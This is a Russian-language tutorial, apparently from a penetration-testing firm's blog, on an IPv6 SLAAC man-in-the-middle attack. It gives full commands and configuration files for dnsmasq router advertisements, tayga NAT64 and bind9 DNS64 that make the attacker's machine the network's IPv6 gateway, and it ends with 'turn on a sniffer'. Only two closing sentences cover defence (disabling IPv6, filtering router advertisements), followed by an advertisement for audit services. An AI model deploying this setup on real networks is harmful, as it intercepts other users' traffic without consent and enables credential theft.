Сегодня мы поговорим о реализации атаки Man-in-the-Middle IPv6 SLAAC.
Смысл атаки в том, что мы становимся единственным IPv6 маршрутизатором в сети и раздаем адреса из своей IPv6 подсети, клиенты автоматически генерируют себе IP адреса (SLAAC), или получают от нашего DHCPv6 сервера. Естественно они получают все адреса с нашими настройками, что позволяет стать точкой прохождения траффика между клиентами и всеми остальными (из-за того, что IPv6 в большинстве систем имеет более высокий приоритет чем IPv4). А фильтровать Router Advertisement (анонс себя в качестве маршрутизатора) умеют далеко не все коммутаторы (в том числе и современные).
Остается только поднять NAT64 и с помощью него преобразовывать и транслировать IPv6 в IPv4.
Начнем с установки все нужных нам сервисов: DNS64 (bind9), NAT64 (tayga), DHCP (dnsmasq)
apt-get install tayga bind9 dnsmasq
у нас будет две сети. Одна сеть для раздачи адресов клиентам с маской 64, а вторая (с маской 96) для зеркалирования всего диапазона ipv4.
Первым делом сконфигурируем сетевой адаптер для его работы в IPv6 сети.
для этого открываем /etc/network/interfaces и добавляем нужные нам параметры адреса и маски (не забываем перезапустить сеть)
iface eth0 inet6 static
address fde4:8dba:82e1:ffff::1
netmask 64
или, если не требуется сохранение при перезагрузке, можно задать адрес командой:
ifconfig eth1 inet6 add fde4:8dba:82e1:ffff::1/64
включим пересылку (форвардинг) пакетов.
Для этого откроем /etc/sysctl.conf и изменим в нем строки:
net.ipv4.ip_forward=1
net.ipv6.conf.all.forwarding=1
Обновим настройки sysctl (либо можно перезагрузить систему):
sysctl -p
Следующим шагом сконфигурируем dnsmasq. на нем выключим ответчик DNS и включим раздачу DHCP для IPv6.
Открываем /etc/dnsmasq.conf и исправляем (или добавляем) следующие параметры:
port=0 # выключаем ответчик DNS (для этих целей будет использоваться bind9)
enable-ra # включаем анонсы, что мы являемся маршрутизатором.
# раздаем адреса
dhcp-range=fde4:8dba:82e1:ffff::2, fde4:8dba:82e1:ffff::ff, slaac, 64
dhcp-range=fde4:8dba:82e1:ffff::, ra-only, 64
dhcp-range повторяется два раза чтобы устройство точно получило IPv6 адрес. Один раз Router Advertisement передается с установленными флагами M и O, а второй со сброшенными. Это происходит из-за того, что у некоторых устройств другой алгоритм получения IPv6 адреса.
Теперь настроим трансляцию адресов IPv6 в IPv4 (NAT64).
Для этого изменим файл конфигурации Tayga, находящийся по адресу /etc/tayga.conf
tun-device nat64
ipv4-addr 192.168.255.1
ipv6-addr 2001:db8:1::2
prefix 2001:db8:1:ffff::/96
dynamic-pool 192.168.255.0/24
data-dir /var/spool/tayga
tun-device – имя создаваемого виртуального устройства для трансляции адресов
ipv4-addr – внутренний адрес из сети IPv4 (сеть существует только для сервиса Tayga)
ipv6-addr – внутренний адрес из сети IPv6 (сеть используется для трансляции адресов)
prefix – добавляемый префикс для адресов IPv4 при трансляции в IPv6
dynamic-pool – сеть IPv4 для внутренних нужд сервиса (так же виртуальная)
data-dir – путь для хранения данных сервисом
и наконец настроим bind9 для трансляции адресов (DNS64)
настраивать зону будем в файле /etc/bind/named.conf.options
Приведу полную версию конфига с комментариями:
options {
# добавляем вышестоящий DNS сервер для запросов
forwarders {
8.8.8.8;
};
dnssec-validation auto;
auth-nxdomain no; # conform to RFC1035
listen-on-v6 { any; }; # разрешаем слушать IPv6 для всех сетевых интерфейсов
listen-on { any; };
allow-query {any; };
# включаем префикс для трансляции адресов и разрешаем запросы для всех клиентов
dns64 2001:db8:1:ffff::/96 {
clients { any; };
};
};
Теперь остается только перезапустить все три сервиса и все компьютеры в сети начнут получать адреса IPv6 с адресами DNS и шлюза, а т.к. в большинстве систем IPv6 приоритетнее IPv4 то трафик пойдет через наш маршрутизатор. Остается только включить сниффер.
Далее идут скриншоты с пользовательской системы после успешно проведенной атаки.
Полученные адреса
Ping и Nslookup
Защититься от данной атаки можно отключением IPv6 в локальной сети (особенно если IPv6 в ней не используется). Либо настраивать фильтрацию на коммутаторах фильтрацию Router Advertisement с недоверенных портов.
Заказать Аудит Безопасности или Пентест Вашей IT-инфраструктурыБыть уверенным в своей IT-инфраструктуре – это быть уверенным в завтрашнем дне. Для того, чтобы сделать заказ:
|